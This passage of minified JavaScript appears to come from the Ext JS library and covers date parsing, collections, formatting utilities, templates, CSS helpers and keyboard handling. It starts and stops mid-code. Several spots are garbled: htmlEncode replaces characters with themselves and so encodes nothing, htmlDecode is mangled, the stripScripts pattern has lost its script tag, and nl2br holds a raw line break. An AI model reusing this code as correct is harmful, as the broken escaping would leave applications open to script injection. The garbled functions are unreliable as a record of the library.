? y - 100 : 0);", "v = !strict? v : (strict === true && (z <= 364 || (v.isLeapYear() && z <= 365))? v.add(Date.DAY, z) : null);", "}else if(strict === true && !Date.isValid(y, m + 1, d, h, i, s, ms)){", "v = null;", "}else{", "v = new Date(y < 100 ? 100 : y, m, d, h, i, s, ms).add(Date.YEAR, y < 100 ? y - 100 : 0);", "}", "}", "}", "if(v){", "if(zz != null){", "v = v.add(Date.SECOND, -v.getTimezoneOffset() * 60 - zz);", "}else if(o){", "v = v.add(Date.MINUTE, -v.getTimezoneOffset() + (sn == '+'? -1 : 1) * (hr * 60 + mn));", "}", "}", "return v;"].join("\n"); return function (m) { var e = Date.parseRegexes.length, o = 1, g = [], l = [], k = false, d = "", j = 0, h, n; for (; j < m.length; ++j) { d = m.charAt(j); if (!k && d == "\\") { k = true } else { if (k) { k = false; l.push(String.escape(d)) } else { h = a(d, o); o += h.g; l.push(h.s); if (h.g && h.c) { if (h.calcLast) { n = h.c } else { g.push(h.c) } } } } } if (n) { g.push(n) } Date.parseRegexes[e] = new RegExp("^" + l.join("") + "$", "i"); Date.parseFunctions[m] = new Function("input", "strict", b(c, e, g.join(""))) } }(), parseCodes:{d:{g:1, c:"d = parseInt(results[{0}], 10);\n", s:"(\\d{2})"}, j:{g:1, c:"d = parseInt(results[{0}], 10);\n", s:"(\\d{1,2})"}, D:function () { for (var c = [], d = 0; d < 7; c.push(Date.getShortDayName(d)), ++d) { } return{g:0, c:null, s:"(?:" + c.join("|") + ")"} }, l:function () { return{g:0, c:null, s:"(?:" + Date.dayNames.join("|") + ")"} }, N:{g:0, c:null, s:"[1-7]"}, S:{g:0, c:null, s:"(?:st|nd|rd|th)"}, w:{g:0, c:null, s:"[0-6]"}, z:{g:1, c:"z = parseInt(results[{0}], 10);\n", s:"(\\d{1,3})"}, W:{g:0, c:null, s:"(?:\\d{2})"}, F:function () { return{g:1, c:"m = parseInt(Date.getMonthNumber(results[{0}]), 10);\n", s:"(" + Date.monthNames.join("|") + ")"} }, M:function () { for (var c = [], d = 0; d < 12; c.push(Date.getShortMonthName(d)), ++d) { } return Ext.applyIf({s:"(" + c.join("|") + ")"}, a("F")) }, m:{g:1, c:"m = parseInt(results[{0}], 10) - 1;\n", s:"(\\d{2})"}, n:{g:1, c:"m = parseInt(results[{0}], 10) - 1;\n", s:"(\\d{1,2})"}, t:{g:0, c:null, s:"(?:\\d{2})"}, L:{g:0, c:null, s:"(?:1|0)"}, o:function () { return a("Y") }, Y:{g:1, c:"y = parseInt(results[{0}], 10);\n", s:"(\\d{4})"}, y:{g:1, c:"var ty = parseInt(results[{0}], 10);\ny = ty > Date.y2kYear ? 1900 + ty : 2000 + ty;\n", s:"(\\d{1,2})"}, a:function () { return a("A") }, A:{calcLast:true, g:1, c:"if (/(am)/i.test(results[{0}])) {\nif (!h || h == 12) { h = 0; }\n} else { if (!h || h < 12) { h = (h || 0) + 12; }}", s:"(AM|PM|am|pm)"}, g:function () { return a("G") }, G:{g:1, c:"h = parseInt(results[{0}], 10);\n", s:"(\\d{1,2})"}, h:function () { return a("H") }, H:{g:1, c:"h = parseInt(results[{0}], 10);\n", s:"(\\d{2})"}, i:{g:1, c:"i = parseInt(results[{0}], 10);\n", s:"(\\d{2})"}, s:{g:1, c:"s = parseInt(results[{0}], 10);\n", s:"(\\d{2})"}, u:{g:1, c:"ms = results[{0}]; ms = parseInt(ms, 10)/Math.pow(10, ms.length - 3);\n", s:"(\\d+)"}, O:{g:1, c:["o = results[{0}];", "var sn = o.substring(0,1),", "hr = o.substring(1,3)*1 + Math.floor(o.substring(3,5) / 60),", "mn = o.substring(3,5) % 60;", "o = ((-12 <= (hr*60 + mn)/60) && ((hr*60 + mn)/60 <= 14))? (sn + String.leftPad(hr, 2, '0') + String.leftPad(mn, 2, '0')) : null;\n"].join("\n"), s:"([+-]\\d{4})"}, P:{g:1, c:["o = results[{0}];", "var sn = o.substring(0,1),", "hr = o.substring(1,3)*1 + Math.floor(o.substring(4,6) / 60),", "mn = o.substring(4,6) % 60;", "o = ((-12 <= (hr*60 + mn)/60) && ((hr*60 + mn)/60 <= 14))? (sn + String.leftPad(hr, 2, '0') + String.leftPad(mn, 2, '0')) : null;\n"].join("\n"), s:"([+-]\\d{2}:\\d{2})"}, T:{g:0, c:null, s:"[A-Z]{1,4}"}, Z:{g:1, c:"zz = results[{0}] * 1;\nzz = (-43200 <= zz && zz <= 50400)? zz : null;\n", s:"([+-]?\\d{1,5})"}, c:function () { var e = [], c = [a("Y", 1), a("m", 2), a("d", 3), a("h", 4), a("i", 5), a("s", 6), {c:"ms = results[7] || '0'; ms = parseInt(ms, 10)/Math.pow(10, ms.length - 3);\n"}, {c:["if(results[8]) {", "if(results[8] == 'Z'){", "zz = 0;", "}else if (results[8].indexOf(':') > -1){", a("P", 8).c, "}else{", a("O", 8).c, "}", "}"].join("\n")}]; for (var g = 0, d = c.length; g < d; ++g) { e.push(c[g].c) } return{g:1, c:e.join(""), s:[c[0].s, "(?:", "-", c[1].s, "(?:", "-", c[2].s, "(?:", "(?:T| )?", c[3].s, ":", c[4].s, "(?::", c[5].s, ")?", "(?:(?:\\.|,)(\\d+))?", "(Z|(?:[-+]\\d{2}(?::)?\\d{2}))?", ")?", ")?", ")?"].join("")} }, U:{g:1, c:"u = parseInt(results[{0}], 10);\n", s:"(-?\\d+)"}}}) }()); Ext.apply(Date.prototype, {dateFormat:function (a) { if (Date.formatFunctions[a] == null) { Date.createFormat(a) } return Date.formatFunctions[a].call(this) }, getTimezone:function () { return this.toString().replace(/^.* (?:\((.*)\)|([A-Z]{1,4})(?:[\-+][0-9]{4})?(?: -?\d+)?)$/, "$1$2").replace(/[^A-Z]/g, "") }, getGMTOffset:function (a) { return(this.getTimezoneOffset() > 0 ? "-" : "+") + String.leftPad(Math.floor(Math.abs(this.getTimezoneOffset()) / 60), 2, "0") + (a ? ":" : "") + String.leftPad(Math.abs(this.getTimezoneOffset() % 60), 2, "0") }, getDayOfYear:function () { var b = 0, e = this.clone(), a = this.getMonth(), c; for (c = 0, e.setDate(1), e.setMonth(0); c < a; e.setMonth(++c)) { b += e.getDaysInMonth() } return b + this.getDate() - 1 }, getWeekOfYear:function () { var a = 86400000, b = 7 * a; return function () { var d = Date.UTC(this.getFullYear(), this.getMonth(), this.getDate() + 3) / a, c = Math.floor(d / 7), e = new Date(c * b).getUTCFullYear(); return c - Math.floor(Date.UTC(e, 0, 7) / b) + 1 } }(), isLeapYear:function () { var a = this.getFullYear(); return !!((a & 3) == 0 && (a % 100 || (a % 400 == 0 && a))) }, getFirstDayOfMonth:function () { var a = (this.getDay() - (this.getDate() - 1)) % 7; return(a < 0) ? (a + 7) : a }, getLastDayOfMonth:function () { return this.getLastDateOfMonth().getDay() }, getFirstDateOfMonth:function () { return new Date(this.getFullYear(), this.getMonth(), 1) }, getLastDateOfMonth:function () { return new Date(this.getFullYear(), this.getMonth(), this.getDaysInMonth()) }, getDaysInMonth:function () { var a = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]; return function () { var b = this.getMonth(); return b == 1 && this.isLeapYear() ? 29 : a[b] } }(), getSuffix:function () { switch (this.getDate()) { case 1: case 21: case 31: return"st"; case 2: case 22: return"nd"; case 3: case 23: return"rd"; default: return"th" } }, clone:function () { return new Date(this.getTime()) }, isDST:function () { return new Date(this.getFullYear(), 0, 1).getTimezoneOffset() != this.getTimezoneOffset() }, clearTime:function (g) { if (g) { return this.clone().clearTime() } var b = this.getDate(); this.setHours(0); this.setMinutes(0); this.setSeconds(0); this.setMilliseconds(0); if (this.getDate() != b) { for (var a = 1, e = this.add(Date.HOUR, a); e.getDate() != b; a++, e = this.add(Date.HOUR, a)) { } this.setDate(b); this.setHours(e.getHours()) } return this }, add:function (b, c) { var e = this.clone(); if (!b || c === 0) { return e } switch (b.toLowerCase()) { case Date.MILLI: e.setMilliseconds(this.getMilliseconds() + c); break; case Date.SECOND: e.setSeconds(this.getSeconds() + c); break; case Date.MINUTE: e.setMinutes(this.getMinutes() + c); break; case Date.HOUR: e.setHours(this.getHours() + c); break; case Date.DAY: e.setDate(this.getDate() + c); break; case Date.MONTH: var a = this.getDate(); if (a > 28) { a = Math.min(a, this.getFirstDateOfMonth().add("mo", c).getLastDateOfMonth().getDate()) } e.setDate(a); e.setMonth(this.getMonth() + c); break; case Date.YEAR: e.setFullYear(this.getFullYear() + c); break } return e }, between:function (c, a) { var b = this.getTime(); return c.getTime() <= b && b <= a.getTime() }}); Date.prototype.format = Date.prototype.dateFormat; if (Ext.isSafari && (navigator.userAgent.match(/WebKit\/(\d+)/)[1] || NaN) < 420) { Ext.apply(Date.prototype, {_xMonth:Date.prototype.setMonth, _xDate:Date.prototype.setDate, setMonth:function (a) { if (a <= -1) { var d = Math.ceil(-a), c = Math.ceil(d / 12), b = (d % 12) ? 12 - d % 12 : 0; this.setFullYear(this.getFullYear() - c); return this._xMonth(b) } else { return this._xMonth(a) } }, setDate:function (a) { return this.setTime(this.getTime() - (this.getDate() - a) * 86400000) }}) } Ext.util.MixedCollection = function (b, a) { this.items = []; this.map = {}; this.keys = []; this.length = 0; this.addEvents("clear", "add", "replace", "remove", "sort"); this.allowFunctions = b === true; if (a) { this.getKey = a } Ext.util.MixedCollection.superclass.constructor.call(this) }; Ext.extend(Ext.util.MixedCollection, Ext.util.Observable, {allowFunctions:false, add:function (b, c) { if (arguments.length == 1) { c = arguments[0]; b = this.getKey(c) } if (typeof b != "undefined" && b !== null) { var a = this.map[b]; if (typeof a != "undefined") { return this.replace(b, c) } this.map[b] = c } this.length++; this.items.push(c); this.keys.push(b); this.fireEvent("add", this.length - 1, c, b); return c }, getKey:function (a) { return a.id }, replace:function (c, d) { if (arguments.length == 1) { d = arguments[0]; c = this.getKey(d) } var a = this.map[c]; if (typeof c == "undefined" || c === null || typeof a == "undefined") { return this.add(c, d) } var b = this.indexOfKey(c); this.items[b] = d; this.map[c] = d; this.fireEvent("replace", c, a, d); return d }, addAll:function (e) { if (arguments.length > 1 || Ext.isArray(e)) { var b = arguments.length > 1 ? arguments : e; for (var d = 0, a = b.length; d < a; d++) { this.add(b[d]) } } else { for (var c in e) { if (this.allowFunctions || typeof e[c] != "function") { this.add(c, e[c]) } } } }, each:function (e, d) { var b = [].concat(this.items); for (var c = 0, a = b.length; c < a; c++) { if (e.call(d || b[c], b[c], c, a) === false) { break } } }, eachKey:function (d, c) { for (var b = 0, a = this.keys.length; b < a; b++) { d.call(c || window, this.keys[b], this.items[b], b, a) } }, find:function (d, c) { for (var b = 0, a = this.items.length; b < a; b++) { if (d.call(c || window, this.items[b], this.keys[b])) { return this.items[b] } } return null }, insert:function (a, b, c) { if (arguments.length == 2) { c = arguments[1]; b = this.getKey(c) } if (this.containsKey(b)) { this.suspendEvents(); this.removeKey(b); this.resumeEvents() } if (a >= this.length) { return this.add(b, c) } this.length++; this.items.splice(a, 0, c); if (typeof b != "undefined" && b !== null) { this.map[b] = c } this.keys.splice(a, 0, b); this.fireEvent("add", a, c, b); return c }, remove:function (a) { return this.removeAt(this.indexOf(a)) }, removeAt:function (a) { if (a < this.length && a >= 0) { this.length--; var c = this.items[a]; this.items.splice(a, 1); var b = this.keys[a]; if (typeof b != "undefined") { delete this.map[b] } this.keys.splice(a, 1); this.fireEvent("remove", c, b); return c } return false }, removeKey:function (a) { return this.removeAt(this.indexOfKey(a)) }, getCount:function () { return this.length }, indexOf:function (a) { return this.items.indexOf(a) }, indexOfKey:function (a) { return this.keys.indexOf(a) }, item:function (b) { var a = this.map[b], c = a !== undefined ? a : (typeof b == "number") ? this.items[b] : undefined; return typeof c != "function" || this.allowFunctions ? c : null }, itemAt:function (a) { return this.items[a] }, key:function (a) { return this.map[a] }, contains:function (a) { return this.indexOf(a) != -1 }, containsKey:function (a) { return typeof this.map[a] != "undefined" }, clear:function () { this.length = 0; this.items = []; this.keys = []; this.map = {}; this.fireEvent("clear") }, first:function () { return this.items[0] }, last:function () { return this.items[this.length - 1] }, _sort:function (k, a, j) { var d, e, b = String(a).toUpperCase() == "DESC" ? -1 : 1, h = [], l = this.keys, g = this.items; j = j || function (i, c) { return i - c }; for (d = 0, e = g.length; d < e; d++) { h[h.length] = {key:l[d], value:g[d], index:d} } h.sort(function (i, c) { var m = j(i[k], c[k]) * b; if (m === 0) { m = (i.index < c.index ? -1 : 1) } return m }); for (d = 0, e = h.length; d < e; d++) { g[d] = h[d].value; l[d] = h[d].key } this.fireEvent("sort", this) }, sort:function (a, b) { this._sort("value", a, b) }, reorder:function (d) { this.suspendEvents(); var b = this.items, c = 0, g = b.length, a = [], e = [], h; for (h in d) { a[d[h]] = b[h] } for (c = 0; c < g; c++) { if (d[c] == undefined) { e.push(b[c]) } } for (c = 0; c < g; c++) { if (a[c] == undefined) { a[c] = e.shift() } } this.clear(); this.addAll(a); this.resumeEvents(); this.fireEvent("sort", this) }, keySort:function (a, b) { this._sort("key", a, b || function (d, c) { var g = String(d).toUpperCase(), e = String(c).toUpperCase(); return g > e ? 1 : (g < e ? -1 : 0) }) }, getRange:function (e, a) { var b = this.items; if (b.length < 1) { return[] } e = e || 0; a = Math.min(typeof a == "undefined" ? this.length - 1 : a, this.length - 1); var c, d = []; if (e <= a) { for (c = e; c <= a; c++) { d[d.length] = b[c] } } else { for (c = e; c >= a; c--) { d[d.length] = b[c] } } return d }, filter:function (c, b, d, a) { if (Ext.isEmpty(b, false)) { return this.clone() } b = this.createValueMatcher(b, d, a); return this.filterBy(function (e) { return e && b.test(e[c]) }) }, filterBy:function (g, e) { var h = new Ext.util.MixedCollection(); h.getKey = this.getKey; var b = this.keys, d = this.items; for (var c = 0, a = d.length; c < a; c++) { if (g.call(e || this, d[c], b[c])) { h.add(b[c], d[c]) } } return h }, findIndex:function (c, b, e, d, a) { if (Ext.isEmpty(b, false)) { return -1 } b = this.createValueMatcher(b, d, a); return this.findIndexBy(function (g) { return g && b.test(g[c]) }, null, e) }, findIndexBy:function (g, e, h) { var b = this.keys, d = this.items; for (var c = (h || 0), a = d.length; c < a; c++) { if (g.call(e || this, d[c], b[c])) { return c } } return -1 }, createValueMatcher:function (c, e, a, b) { if (!c.exec) { var d = Ext.escapeRe; c = String(c); if (e === true) { c = d(c) } else { c = "^" + d(c); if (b === true) { c += "$" } } c = new RegExp(c, a ? "" : "i") } return c }, clone:function () { var e = new Ext.util.MixedCollection(); var b = this.keys, d = this.items; for (var c = 0, a = d.length; c < a; c++) { e.add(b[c], d[c]) } e.getKey = this.getKey; return e }}); Ext.util.MixedCollection.prototype.get = Ext.util.MixedCollection.prototype.item; Ext.AbstractManager = Ext.extend(Object, {typeName:"type", constructor:function (a) { Ext.apply(this, a || {}); this.all = new Ext.util.MixedCollection(); this.types = {} }, get:function (a) { return this.all.get(a) }, register:function (a) { this.all.add(a) }, unregister:function (a) { this.all.remove(a) }, registerType:function (b, a) { this.types[b] = a; a[this.typeName] = b }, isRegistered:function (a) { return this.types[a] !== undefined }, create:function (a, d) { var b = a[this.typeName] || a.type || d, c = this.types[b]; if (c == undefined) { throw new Error(String.format("The '{0}' type has not been registered with this manager", b)) } return new c(a) }, onAvailable:function (d, c, b) { var a = this.all; a.on("add", function (e, g) { if (g.id == d) { c.call(b || g, g); a.un("add", c, b) } }) }}); Ext.util.Format = function () { var trimRe = /^\s+|\s+$/g, stripTagsRE = /<\/?[^>]+>/gi, stripScriptsRe = /(?:)((\n|\r|.)*?)(?:<\/script>)/ig, nl2brRe = /\r?\n/g; return{ellipsis:function (value, len, word) { if (value && value.length > len) { if (word) { var vs = value.substr(0, len - 2), index = Math.max(vs.lastIndexOf(" "), vs.lastIndexOf("."), vs.lastIndexOf("!"), vs.lastIndexOf("?")); if (index == -1 || index < (len - 15)) { return value.substr(0, len - 3) + "..." } else { return vs.substr(0, index) + "..." } } else { return value.substr(0, len - 3) + "..." } } return value }, undef:function (value) { return value !== undefined ? value : "" }, defaultValue:function (value, defaultValue) { return value !== undefined && value !== "" ? value : defaultValue }, htmlEncode:function (value) { return !value ? value : String(value).replace(/&/g, "&").replace(/>/g, ">").replace(/").replace(/</g, "<").replace(/"/g, '"').replace(/&/g, "&") }, trim:function (value) { return String(value).replace(trimRe, "") }, substr:function (value, start, length) { return String(value).substr(start, length) }, lowercase:function (value) { return String(value).toLowerCase() }, uppercase:function (value) { return String(value).toUpperCase() }, capitalize:function (value) { return !value ? value : value.charAt(0).toUpperCase() + value.substr(1).toLowerCase() }, call:function (value, fn) { if (arguments.length > 2) { var args = Array.prototype.slice.call(arguments, 2); args.unshift(value); return eval(fn).apply(window, args) } else { return eval(fn).call(window, value) } }, usMoney:function (v) { v = (Math.round((v - 0) * 100)) / 100; v = (v == Math.floor(v)) ? v + ".00" : ((v * 10 == Math.floor(v * 10)) ? v + "0" : v); v = String(v); var ps = v.split("."), whole = ps[0], sub = ps[1] ? "." + ps[1] : ".00", r = /(\d+)(\d{3})/; while (r.test(whole)) { whole = whole.replace(r, "$1,$2") } v = whole + sub; if (v.charAt(0) == "-") { return"-$" + v.substr(1) } return"$" + v }, date:function (v, format) { if (!v) { return"" } if (!Ext.isDate(v)) { v = new Date(Date.parse(v)) } return v.dateFormat(format || "m/d/Y") }, dateRenderer:function (format) { return function (v) { return Ext.util.Format.date(v, format) } }, stripTags:function (v) { return !v ? v : String(v).replace(stripTagsRE, "") }, stripScripts:function (v) { return !v ? v : String(v).replace(stripScriptsRe, "") }, fileSize:function (size) { if (size < 1024) { return size + " bytes" } else { if (size < 1048576) { return(Math.round(((size * 10) / 1024)) / 10) + " KB" } else { return(Math.round(((size * 10) / 1048576)) / 10) + " MB" } } }, math:function () { var fns = {}; return function (v, a) { if (!fns[a]) { fns[a] = new Function("v", "return v " + a + ";") } return fns[a](v) } }(), round:function (value, precision) { var result = Number(value); if (typeof precision == "number") { precision = Math.pow(10, precision); result = Math.round(value * precision) / precision } return result }, number:function (v, format) { if (!format) { return v } v = Ext.num(v, NaN); if (isNaN(v)) { return"" } var comma = ",", dec = ".", i18n = false, neg = v < 0; v = Math.abs(v); if (format.substr(format.length - 2) == "/i") { format = format.substr(0, format.length - 2); i18n = true; comma = "."; dec = "," } var hasComma = format.indexOf(comma) != -1, psplit = (i18n ? format.replace(/[^\d\,]/g, "") : format.replace(/[^\d\.]/g, "")).split(dec); if (1 < psplit.length) { v = v.toFixed(psplit[1].length) } else { if (2 < psplit.length) { throw ("NumberFormatException: invalid format, formats should have no more than 1 period: " + format) } else { v = v.toFixed(0) } } var fnum = v.toString(); psplit = fnum.split("."); if (hasComma) { var cnum = psplit[0], parr = [], j = cnum.length, m = Math.floor(j / 3), n = cnum.length % 3 || 3, i; for (i = 0; i < j; i += n) { if (i != 0) { n = 3 } parr[parr.length] = cnum.substr(i, n); m -= 1 } fnum = parr.join(comma); if (psplit[1]) { fnum += dec + psplit[1] } } else { if (psplit[1]) { fnum = psplit[0] + dec + psplit[1] } } return(neg ? "-" : "") + format.replace(/[\d,?\.?]+/, fnum) }, numberRenderer:function (format) { return function (v) { return Ext.util.Format.number(v, format) } }, plural:function (v, s, p) { return v + " " + (v == 1 ? s : (p ? p : s + "s")) }, nl2br:function (v) { return Ext.isEmpty(v) ? "" : v.replace(nl2brRe, "
") }} }(); Ext.XTemplate = function () { Ext.XTemplate.superclass.constructor.apply(this, arguments); var y = this, j = y.html, q = /]*>((?:(?=([^<]+))\2|<(?!tpl\b[^>]*>))*?)<\/tpl>/, d = /^]*?for="(.*?)"/, v = /^]*?if="(.*?)"/, x = /^]*?exec="(.*?)"/, r, p = 0, k = [], o = "values", w = "parent", l = "xindex", n = "xcount", e = "return ", c = "with(values){ "; j = ["", j, ""].join(""); while ((r = j.match(q))) { var b = r[0].match(d), a = r[0].match(v), A = r[0].match(x), g = null, h = null, t = null, z = b && b[1] ? b[1] : ""; if (a) { g = a && a[1] ? a[1] : null; if (g) { h = new Function(o, w, l, n, c + e + (Ext.util.Format.htmlDecode(g)) + "; }") } } if (A) { g = A && A[1] ? A[1] : null; if (g) { t = new Function(o, w, l, n, c + (Ext.util.Format.htmlDecode(g)) + "; }") } } if (z) { switch (z) { case".": z = new Function(o, w, c + e + o + "; }"); break; case"..": z = new Function(o, w, c + e + w + "; }"); break; default: z = new Function(o, w, c + e + z + "; }") } } k.push({id:p, target:z, exec:t, test:h, body:r[1] || ""}); j = j.replace(r[0], "{xtpl" + p + "}"); ++p } for (var u = k.length - 1; u >= 0; --u) { y.compileTpl(k[u]) } y.master = k[k.length - 1]; y.tpls = k }; Ext.extend(Ext.XTemplate, Ext.Template, {re:/\{([\w\-\.\#]+)(?:\:([\w\.]*)(?:\((.*?)?\))?)?(\s?[\+\-\*\\]\s?[\d\.\+\-\*\\\(\)]+)?\}/g, codeRe:/\{\[((?:\\\]|.|\n)*?)\]\}/g, applySubTemplate:function (a, k, j, d, c) { var h = this, g, m = h.tpls[a], l, b = []; if ((m.test && !m.test.call(h, k, j, d, c)) || (m.exec && m.exec.call(h, k, j, d, c))) { return"" } l = m.target ? m.target.call(h, k, j) : k; g = l.length; j = m.target ? k : j; if (m.target && Ext.isArray(l)) { for (var e = 0, g = l.length; e < g; e++) { b[b.length] = m.compiled.call(h, l[e], j, e + 1, g) } return b.join("") } return m.compiled.call(h, l, j, d, c) }, compileTpl:function (tpl) { var fm = Ext.util.Format, useF = this.disableFormats !== true, sep = Ext.isGecko ? "+" : ",", body; function fn(m, name, format, args, math) { if (name.substr(0, 4) == "xtpl") { return"'" + sep + "this.applySubTemplate(" + name.substr(4) + ", values, parent, xindex, xcount)" + sep + "'" } var v; if (name === ".") { v = "values" } else { if (name === "#") { v = "xindex" } else { if (name.indexOf(".") != -1) { v = name } else { v = "values['" + name + "']" } } } if (math) { v = "(" + v + math + ")" } if (format && useF) { args = args ? "," + args : ""; if (format.substr(0, 5) != "this.") { format = "fm." + format + "(" } else { format = 'this.call("' + format.substr(5) + '", '; args = ", values" } } else { args = ""; format = "(" + v + " === undefined ? '' : " } return"'" + sep + format + v + args + ")" + sep + "'" } function codeFn(m, code) { return"'" + sep + "(" + code.replace(/\\'/g, "'") + ")" + sep + "'" } if (Ext.isGecko) { body = "tpl.compiled = function(values, parent, xindex, xcount){ return '" + tpl.body.replace(/(\r\n|\n)/g, "\\n").replace(/'/g, "\\'").replace(this.re, fn).replace(this.codeRe, codeFn) + "';};" } else { body = ["tpl.compiled = function(values, parent, xindex, xcount){ return ['"]; body.push(tpl.body.replace(/(\r\n|\n)/g, "\\n").replace(/'/g, "\\'").replace(this.re, fn).replace(this.codeRe, codeFn)); body.push("'].join('');};"); body = body.join("") } eval(body); return this }, applyTemplate:function (a) { return this.master.compiled.call(this, a, {}, 1, 1) }, compile:function () { return this }}); Ext.XTemplate.prototype.apply = Ext.XTemplate.prototype.applyTemplate; Ext.XTemplate.from = function (a) { a = Ext.getDom(a); return new Ext.XTemplate(a.value || a.innerHTML) }; Ext.util.CSS = function () { var d = null; var c = document; var b = /(-[a-z])/gi; var a = function (e, g) { return g.charAt(1).toUpperCase() }; return{createStyleSheet:function (i, l) { var h; var g = c.getElementsByTagName("head")[0]; var k = c.createElement("style"); k.setAttribute("type", "text/css"); if (l) { k.setAttribute("id", l) } if (Ext.isIE) { g.appendChild(k); h = k.styleSheet; h.cssText = i } else { try { k.appendChild(c.createTextNode(i)) } catch (j) { k.cssText = i } g.appendChild(k); h = k.styleSheet ? k.styleSheet : (k.sheet || c.styleSheets[c.styleSheets.length - 1]) } this.cacheStyleSheet(h); return h }, removeStyleSheet:function (g) { var e = c.getElementById(g); if (e) { e.parentNode.removeChild(e) } }, swapStyleSheet:function (h, e) { this.removeStyleSheet(h); var g = c.createElement("link"); g.setAttribute("rel", "stylesheet"); g.setAttribute("type", "text/css"); g.setAttribute("id", h); g.setAttribute("href", e); c.getElementsByTagName("head")[0].appendChild(g) }, refreshCache:function () { return this.getRules(true) }, cacheStyleSheet:function (h) { if (!d) { d = {} } try { var k = h.cssRules || h.rules; for (var g = k.length - 1; g >= 0; --g) { d[k[g].selectorText.toLowerCase()] = k[g] } } catch (i) { } }, getRules:function (h) { if (d === null || h) { d = {}; var k = c.styleSheets; for (var j = 0, g = k.length; j < g; j++) { try { this.cacheStyleSheet(k[j]) } catch (l) { } } } return d }, getRule:function (e, h) { var g = this.getRules(h); if (!Ext.isArray(e)) { return g[e.toLowerCase()] } for (var j = 0; j < e.length; j++) { if (g[e[j]]) { return g[e[j].toLowerCase()] } } return null }, updateRule:function (e, j, h) { if (!Ext.isArray(e)) { var k = this.getRule(e); if (k) { k.style[j.replace(b, a)] = h; return true } } else { for (var g = 0; g < e.length; g++) { if (this.updateRule(e[g], j, h)) { return true } } } return false }} }(); Ext.util.ClickRepeater = Ext.extend(Ext.util.Observable, {constructor:function (b, a) { this.el = Ext.get(b); this.el.unselectable(); Ext.apply(this, a); this.addEvents("mousedown", "click", "mouseup"); if (!this.disabled) { this.disabled = true; this.enable() } if (this.handler) { this.on("click", this.handler, this.scope || this) } Ext.util.ClickRepeater.superclass.constructor.call(this) }, interval:20, delay:250, preventDefault:true, stopDefault:false, timer:0, enable:function () { if (this.disabled) { this.el.on("mousedown", this.handleMouseDown, this); if (Ext.isIE) { this.el.on("dblclick", this.handleDblClick, this) } if (this.preventDefault || this.stopDefault) { this.el.on("click", this.eventOptions, this) } } this.disabled = false }, disable:function (a) { if (a || !this.disabled) { clearTimeout(this.timer); if (this.pressClass) { this.el.removeClass(this.pressClass) } Ext.getDoc().un("mouseup", this.handleMouseUp, this); this.el.removeAllListeners() } this.disabled = true }, setDisabled:function (a) { this[a ? "disable" : "enable"]() }, eventOptions:function (a) { if (this.preventDefault) { a.preventDefault() } if (this.stopDefault) { a.stopEvent() } }, destroy:function () { this.disable(true); Ext.destroy(this.el); this.purgeListeners() }, handleDblClick:function (a) { clearTimeout(this.timer); this.el.blur(); this.fireEvent("mousedown", this, a); this.fireEvent("click", this, a) }, handleMouseDown:function (a) { clearTimeout(this.timer); this.el.blur(); if (this.pressClass) { this.el.addClass(this.pressClass) } this.mousedownTime = new Date(); Ext.getDoc().on("mouseup", this.handleMouseUp, this); this.el.on("mouseout", this.handleMouseOut, this); this.fireEvent("mousedown", this, a); this.fireEvent("click", this, a); if (this.accelerate) { this.delay = 400 } this.timer = this.click.defer(this.delay || this.interval, this, [a]) }, click:function (a) { this.fireEvent("click", this, a); this.timer = this.click.defer(this.accelerate ? this.easeOutExpo(this.mousedownTime.getElapsed(), 400, -390, 12000) : this.interval, this, [a]) }, easeOutExpo:function (e, a, h, g) { return(e == g) ? a + h : h * (-Math.pow(2, -10 * e / g) + 1) + a }, handleMouseOut:function () { clearTimeout(this.timer); if (this.pressClass) { this.el.removeClass(this.pressClass) } this.el.on("mouseover", this.handleMouseReturn, this) }, handleMouseReturn:function () { this.el.un("mouseover", this.handleMouseReturn, this); if (this.pressClass) { this.el.addClass(this.pressClass) } this.click() }, handleMouseUp:function (a) { clearTimeout(this.timer); this.el.un("mouseover", this.handleMouseReturn, this); this.el.un("mouseout", this.handleMouseOut, this); Ext.getDoc().un("mouseup", this.handleMouseUp, this); this.el.removeClass(this.pressClass); this.fireEvent("mouseup", this, a) }}); Ext.KeyNav = function (b, a) { this.el = Ext.get(b); Ext.apply(this, a); if (!this.disabled) { this.disabled = true; this.enable() } }; Ext.KeyNav.prototype = {disabled:false, defaultEventAction:"stopEvent", forceKeyDown:false, relay:function (c) { var a = c.getKey(), b = this.keyToHandler[a]; if (b && this[b]) { if (this.doRelay(c, this[b], b) !== true) { c[this.defaultEventAction]() } } }, doRelay:function (c, b, a) { return b.call(this.scope || this, c, a) }, enter:false, left:false, right:false, up:false, down:false, tab:false, esc:false, pageUp:false, pageDown:false, del:false, home:false, end:false, space:false, keyToHandler:{37:"left", 39:"right", 38:"up", 40:"down", 33:"pageUp", 34:"pageDown", 46:"del", 36:"home", 35:"end", 13:"enter", 27:"esc", 9:"tab", 32:"space"}, stopKeyUp:function (b) { var a = b.getKey(); if (a >= 37 && a <= 40) { b.stopEvent() } }, destroy:function () { this.disable() }, enable:function () { if (this.disabled) { if (Ext.isSafari2) { this.el.on("keyup", this.stopKeyUp, this) } this.el.on(this.isKeydown() ? "keydown" : "keypress", this.relay, this); this.disabled = false } }, disable:function () { if (!this.disabled) { if (Ext.isSafari2) { this.el.un("keyup", this.stopKeyUp, this) } this.el.un(this.isKeydown() ? "keydown" : "keypress", this.relay, this); this.disabled = true } }, setDisabled:function (a) { this[a ? "disable" : "enable"]() }, isKeydown:function () { return this.forceKeyDown || Ext.EventManager.useKeydown }}; Ext.KeyMap = function (c, b, a) { this.el = Ext.get(c); this.eventName = a || "keydown"; this.bindings = []; if (b) { this.addBinding(b) } this.enable() }; Ext.KeyMap.prototype = {stopEvent:false, addBinding:function (b) { if (Ext.isArray(b)) { Ext.each(b, function (j) { this.addBinding(j) }, this); return } var k = b.key, g = b.fn || b.handler, l = b.scope; if (b.stopEvent) { this.stopEvent = b.stopEvent } if (typeof k == "string") { var h = []; var e = k.toUpperCase(); for (var c = 0, d = e.length; c < d; c++) { h.push(e.charCodeAt(c)) } k = h } var a = Ext.isArray(k); var i = function (o) { if (this.checkModifiers(b, o)) { var m = o.getKey(); if (a) { for (var n = 0, j = k.length; n < j; n++) { if (k[n] == m) { if (this.stopEvent) { o.stopEvent() } g.call(l || window, m, o); return } } } else { if (m == k) { if (this.stopEvent) { o.stopEvent() } g.call(l || window, m, o) } } } }; this.bindings.push(i) }, checkModifiers:function (b, h) { var j, d, g = ["shift", "ctrl", "alt"]; for (var c = 0, a = g.length; c < a; ++c) { d = g[c]; j = b[d]; if (!(j === undefined || (j === h[d + "Key"]))) { return false } } return true }, on:function (b, d, c) { var h, a, 